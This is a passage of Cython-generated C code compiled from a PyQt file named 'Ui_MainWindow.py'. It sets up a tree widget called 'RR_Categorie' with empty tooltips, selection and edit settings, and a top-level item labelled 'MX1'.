__Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_48); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_9, __pyx_int_25, __pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_9, __pyx_int_25, __pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_9) { __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_9); __pyx_t_9 = NULL; } __Pyx_INCREF(__pyx_int_25); __Pyx_GIVEREF(__pyx_int_25); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_25); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 2+__pyx_t_8, __pyx_t_6); __pyx_t_4 = 0; __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":577 * self.label_48.setObjectName("label_48") * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.LabelRole, self.label_48) * self.RR_Categorie = QtWidgets.QTreeWidget(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.RR_Categorie.setToolTip("") * self.RR_Categorie.setStatusTip("") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 577, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QTreeWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 577, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 577, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 577, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 577, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 577, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 577, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 577, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie, __pyx_t_7) < 0) __PYX_ERR(0, 577, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":578 * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.LabelRole, self.label_48) * self.RR_Categorie = QtWidgets.QTreeWidget(self.formLayoutWidget_3) * self.RR_Categorie.setToolTip("") # <<<<<<<<<<<<<< * self.RR_Categorie.setStatusTip("") * self.RR_Categorie.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 578, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 578, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__364, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 578, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":579 * self.RR_Categorie = QtWidgets.QTreeWidget(self.formLayoutWidget_3) * self.RR_Categorie.setToolTip("") * self.RR_Categorie.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_Categorie.setAccessibleName("") * self.RR_Categorie.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 579, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 579, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__365, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 579, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":580 * self.RR_Categorie.setToolTip("") * self.RR_Categorie.setStatusTip("") * self.RR_Categorie.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_Categorie.setAccessibleDescription("") * self.RR_Categorie.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 580, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 580, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__366, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 580, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":581 * self.RR_Categorie.setStatusTip("") * self.RR_Categorie.setAccessibleName("") * self.RR_Categorie.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_Categorie.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.RR_Categorie.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 581, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 581, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__367, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 581, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":582 * self.RR_Categorie.setAccessibleName("") * self.RR_Categorie.setAccessibleDescription("") * self.RR_Categorie.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) # <<<<<<<<<<<<<< * self.RR_Categorie.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.RR_Categorie.setHeaderHidden(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setEditTriggers); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_NoEditTriggers); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 582, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":583 * self.RR_Categorie.setAccessibleDescription("") * self.RR_Categorie.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.RR_Categorie.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) # <<<<<<<<<<<<<< * self.RR_Categorie.setHeaderHidden(False) * self.RR_Categorie.setExpandsOnDoubleClick(True) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setSelectionBehavior); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_SelectItems); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 583, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":584 * self.RR_Categorie.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.RR_Categorie.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.RR_Categorie.setHeaderHidden(False) # <<<<<<<<<<<<<< * self.RR_Categorie.setExpandsOnDoubleClick(True) * self.RR_Categorie.setObjectName("RR_Categorie") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 584, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setHeaderHidden); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 584, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__368, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 584, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":585 * self.RR_Categorie.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.RR_Categorie.setHeaderHidden(False) * self.RR_Categorie.setExpandsOnDoubleClick(True) # <<<<<<<<<<<<<< * self.RR_Categorie.setObjectName("RR_Categorie") * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 585, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setExpandsOnDoubleClick); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 585, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__369, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 585, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":586 * self.RR_Categorie.setHeaderHidden(False) * self.RR_Categorie.setExpandsOnDoubleClick(True) * self.RR_Categorie.setObjectName("RR_Categorie") # <<<<<<<<<<<<<< * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(0).setText(0, "MX1") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 586, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 586, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__370, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 586, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":587 * self.RR_Categorie.setExpandsOnDoubleClick(True) * self.RR_Categorie.setObjectName("RR_Categorie") * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) # <<<<<<<<<<<<<< * self.RR_Categorie.topLevelItem(0).setText(0, "MX1") * item_0.setToolTip(0, "") */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 587, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QTreeWidgetItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 587, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 587, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 587, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 587, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 587, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 587, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 587, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_item_0 = __pyx_t_7; __pyx_t_7 = 0; /* "Ui_MainWindow.py":588 * self.RR_Categorie.setObjectName("RR_Categorie") * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(0).setText(0, "MX1") # <<<<<<<<<<<<<< * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 588, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_topLevelItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 588, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__371, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 588, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 588, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__372, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 588, 